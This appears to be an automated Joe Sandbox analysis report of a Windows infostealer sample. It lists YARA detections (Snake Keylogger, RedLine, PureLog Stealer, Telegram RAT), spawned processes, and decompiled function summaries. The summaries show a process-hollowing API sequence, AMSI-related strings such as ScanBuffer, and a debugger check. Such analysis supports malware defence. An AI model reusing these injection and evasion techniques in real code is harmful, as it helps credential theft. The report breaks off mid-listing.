00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000009.00000002.3435325759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000009.00000001.2342337171.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:17:03
Start date:	18/12/2024
Path:	C:\Users\Public\Libraries\Cneehezx.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Cneehezx.PIF"
Imagebase:	0x400000
File size:	1'019'392 bytes
MD5 hash:	7D212D2DAB091BEC36A906828D270C65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:17:04
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:17:04
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:17:04
Start date:	18/12/2024
Path:	C:\Users\Public\Libraries\xzeheenC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\xzeheenC.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000D.00000001.2421840333.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000D.00000002.3435459349.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.3%
Total number of Nodes:	290
Total number of Limit Nodes:	16

Executed Functions

Function 029D8BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 029D8824: LoadLibraryA.KERNEL32(00000000,00000000,029D890B), ref: 029D8858
Part of subcall function 029D8824: FreeLibrary.KERNEL32(74B10000,00000000,02A21388,Function_000065D8,00000004,02A21398,02A21388,05F5E0FF,00000040,02A2139C,74B10000,00000000,00000000,00000000,00000000,029D890B), ref: 029D88EB

Part of subcall function 029D85DC: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029D8668

GetThreadContext.KERNEL32(00000860,02A21420,ScanString,02A213A4,029DA77C,UacInitialize,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,UacInitialize,02A213A4), ref: 029D9442

Part of subcall function 029D8254: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D82C5

Part of subcall function 029D84C4: NtUnmapViewOfSection.NTDLL(?,?), ref: 029D8529

Part of subcall function 029D79B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 029D7A27

Part of subcall function 029D7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D7D74

SetThreadContext.KERNEL32(00000860,02A21420,ScanBuffer,02A213A4,029DA77C,ScanString,02A213A4,029DA77C,Initialize,02A213A4,029DA77C,00000870,0036BFF8,02A214F8,00000004,02A214FC), ref: 029DA157
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000860,00000000,00000860,02A21420,ScanBuffer,02A213A4,029DA77C,ScanString,02A213A4,029DA77C,Initialize,02A213A4,029DA77C,00000870,0036BFF8,02A214F8), ref: 029DA164

Part of subcall function 029D87A0: LoadLibraryW.KERNEL32(bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize,02A213A4,029DA77C,UacScan), ref: 029D87B4
Part of subcall function 029D87A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 029D87CE
Part of subcall function 029D87A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize), ref: 029D880A

Strings

Initialize, xrefs: 029D8F2A, 029D9538, 029D96BF, 029D9AA8, 029D9D0A, 029D9E7A, 029D9FED, 029DA252, 029DA583
NtOpenObjectAuditAlarm, xrefs: 029DA474, 029DA52C
BCryptVerifySignature, xrefs: 029DA3B3
ScanBuffer, xrefs: 029D8D0C, 029D8D94, 029D912F, 029D9244, 029D92E1, 029D961A, 029D97A1, 029D9934, 029D9B19, 029D9C2E, 029D9DEC, 029D9F5C, 029DA0CF, 029DA2C3, 029DA4E1, 029DA627
sppc, xrefs: 029D91B6
I_QueryTagInformation, xrefs: 029DA540
advapi32, xrefs: 029DA545
NtSetSecurityObject, xrefs: 029DA6CF
bcrypt, xrefs: 029DA3B8, 029DA3CC, 029DA3E0
UacScan, xrefs: 029D8CB3, 029D8ECB, 029D94C7, 029D98C3, 029D9A37, 029DA1E1, 029DA679
BCryptRegisterProvider, xrefs: 029DA3DB
dbgcore, xrefs: 029DA559, 029DA56D
MiniDumpReadDumpStream, xrefs: 029DA568
OpenSession, xrefs: 029D8BE9, 029D900C, 029D90BE, 029DA48F, 029DA5D5
ntdll, xrefs: 029DA465, 029DA479, 029DA531, 029DA6D4, 029DA6E8
UacInitialize, xrefs: 029D8E72, 029D91D3, 029D9352, 029D9456, 029D9852, 029D99C6, 029DA170
SLGetLicenseInformation, xrefs: 029D919F
BCryptQueryProviderRegistration, xrefs: 029DA3C7
NtReadVirtualMemory, xrefs: 029DA460
NtOpenProcess, xrefs: 029DA6E3
ScanString, xrefs: 029D8C42, 029D8DED, 029D8F9B, 029D93C3, 029D95A9, 029D9730, 029D9BBD, 029D9D7B, 029D9EEB, 029DA05E, 029DA349, 029DA3F6
MiniDumpWriteDump, xrefs: 029DA554

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Library$MemoryThreadVirtual$ContextFreeLoad$AddressAllocateCreateProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1022112746-51457883
Opcode ID: d92084f225c9117178e6b353cea829ef0de14e5dfe06ef1c59b74f520bab1ba2
Instruction ID: 3f4a4d951d8606a5af7e6c4cd7a11e5f9a2f716f4ce8f76c6f58227423ead3b6
Opcode Fuzzy Hash: d92084f225c9117178e6b353cea829ef0de14e5dfe06ef1c59b74f520bab1ba2
Instruction Fuzzy Hash: 8CE21E35B501189BDB11FB64CDA0BDE73FAAFC9310F2090A5E009AB255DB30EE569F52

Function 029D8BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 029D8824: LoadLibraryA.KERNEL32(00000000,00000000,029D890B), ref: 029D8858
Part of subcall function 029D8824: FreeLibrary.KERNEL32(74B10000,00000000,02A21388,Function_000065D8,00000004,02A21398,02A21388,05F5E0FF,00000040,02A2139C,74B10000,00000000,00000000,00000000,00000000,029D890B), ref: 029D88EB

Part of subcall function 029D85DC: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029D8668

GetThreadContext.KERNEL32(00000860,02A21420,ScanString,02A213A4,029DA77C,UacInitialize,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,UacInitialize,02A213A4), ref: 029D9442

Part of subcall function 029D8254: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D82C5

Part of subcall function 029D84C4: NtUnmapViewOfSection.NTDLL(?,?), ref: 029D8529

Part of subcall function 029D79B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 029D7A27

Strings

Initialize, xrefs: 029D8F2A, 029D9538, 029D96BF, 029D9AA8, 029D9D0A, 029D9E7A, 029D9FED, 029DA252, 029DA583
NtOpenObjectAuditAlarm, xrefs: 029DA474, 029DA52C
BCryptVerifySignature, xrefs: 029DA3B3
ScanBuffer, xrefs: 029D8D0C, 029D8D94, 029D912F, 029D9244, 029D92E1, 029D961A, 029D97A1, 029D9934, 029D9B19, 029D9C2E, 029D9DEC, 029D9F5C, 029DA0CF, 029DA2C3, 029DA4E1, 029DA627
sppc, xrefs: 029D91B6
I_QueryTagInformation, xrefs: 029DA540
advapi32, xrefs: 029DA545
NtSetSecurityObject, xrefs: 029DA6CF
bcrypt, xrefs: 029DA3B8, 029DA3CC, 029DA3E0
UacScan, xrefs: 029D8CB3, 029D8ECB, 029D94C7, 029D98C3, 029D9A37, 029DA1E1, 029DA679
BCryptRegisterProvider, xrefs: 029DA3DB
dbgcore, xrefs: 029DA559, 029DA56D
MiniDumpReadDumpStream, xrefs: 029DA568
OpenSession, xrefs: 029D8BE9, 029D900C, 029D90BE, 029DA48F, 029DA5D5
ntdll, xrefs: 029DA465, 029DA479, 029DA531, 029DA6D4, 029DA6E8
UacInitialize, xrefs: 029D8E72, 029D91D3, 029D9352, 029D9456, 029DA170
SLGetLicenseInformation, xrefs: 029D919F
BCryptQueryProviderRegistration, xrefs: 029DA3C7
NtReadVirtualMemory, xrefs: 029DA460
NtOpenProcess, xrefs: 029DA6E3
ScanString, xrefs: 029D8C42, 029D8DED, 029D8F9B, 029D93C3, 029D95A9, 029D9730, 029D9BBD, 029D9D7B, 029D9EEB, 029DA05E, 029DA349, 029DA3F6
MiniDumpWriteDump, xrefs: 029DA554

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: LibraryMemoryVirtual$AllocateContextCreateFreeLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4113022151-51457883
Opcode ID: ac664f6e160cb30134341b05af1ad2c25a0e5ae65f8f81d93c6cf2670d88bbb7
Instruction ID: f3b5d722b6785ea9a9c7c5f99f7d0cf6fc0f4694cc8f76880fec9cdb3d0d6979
Opcode Fuzzy Hash: ac664f6e160cb30134341b05af1ad2c25a0e5ae65f8f81d93c6cf2670d88bbb7
Instruction Fuzzy Hash: A6E21D35B501189BDB11FB64CDA0BDE73FAAFC9310F2090A5E009AB215DE30EE569F52

Function 029C5A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,029C0000,029ED790), ref: 029C5A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,029C0000,029ED790), ref: 029C5AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,029C0000,029ED790), ref: 029C5AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 029C5AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,029C5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 029C5B37
RegQueryValueExA.ADVAPI32(?,029C5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,029C5B7D,?,80000001), ref: 029C5B55
RegCloseKey.ADVAPI32(?,029C5B84,00000000,?,?,00000000,029C5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 029C5B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 029C5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 029C5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 029C5BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 029C5BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 029C5C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 029C5C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 029C5C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 029C5C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 029C5C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 029C5C97

Strings

Software\Borland\Locales, xrefs: 029C5AA8, 029C5AC6
Software\Borland\Delphi\Locales, xrefs: 029C5AE4

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 06ed4f580039d90649b2f12b992b881ffff81e967019d1970d03cd6af59d9d49
Instruction ID: 65bf1e0ae7b942914bdefc11563eac4655be630858bd94eac36b932aa8e76e26
Opcode Fuzzy Hash: 06ed4f580039d90649b2f12b992b881ffff81e967019d1970d03cd6af59d9d49
Instruction Fuzzy Hash: 7451E871A4020C7EFB25D6A4CC46FEFBBBD9B44340FA101A9A604F61C1DB74EA448F66

Function 029D87A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize,02A213A4,029DA77C,UacScan), ref: 029D87B4
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 029D87CE
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000860,00000000,02A213A4,029DA3C7,ScanString,02A213A4,029DA77C,ScanBuffer,02A213A4,029DA77C,Initialize), ref: 029D880A

Part of subcall function 029D7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D7D74

Strings

BCryptVerifySignature, xrefs: 029D87C7
bcrypt, xrefs: 029D87B3

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 6d62c1b94c058a6005c34ea5dd3cb3ba2b2e4b61e63761f85478651834153b7b
Instruction ID: 5ea59f646bee579f4182ee219936777ad09f15ff1d3b63c2038769c2bfc16417
Opcode Fuzzy Hash: 6d62c1b94c058a6005c34ea5dd3cb3ba2b2e4b61e63761f85478651834153b7b
Instruction Fuzzy Hash: 23F0C871EC12146EEBA0AB6CAB44F76339EE7C1354F1208BDB10C87542EF70941ACB50

Function 029DEBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 029DEC00
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 029DEC12
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 029DEC29

Strings

CheckRemoteDebuggerPresent, xrefs: 029DEC0C
KernelBase, xrefs: 029DEBFB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 17dc18d7fdf9c56edb841cf2e62d8fda8ec2da95bc095c61a03ad52a80579afe
Instruction ID: 4afa6c36ea49f182bb78530bd2e8f8012eae390dc46a8e93767a513e5e157e2b
Opcode Fuzzy Hash: 17dc18d7fdf9c56edb841cf2e62d8fda8ec2da95bc095c61a03ad52a80579afe
Instruction Fuzzy Hash: 2BF0277090024CABD722E7F888897DCFBAD4B05328FA44794D0A0661C0E37006409652

Function 029DDBB0 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

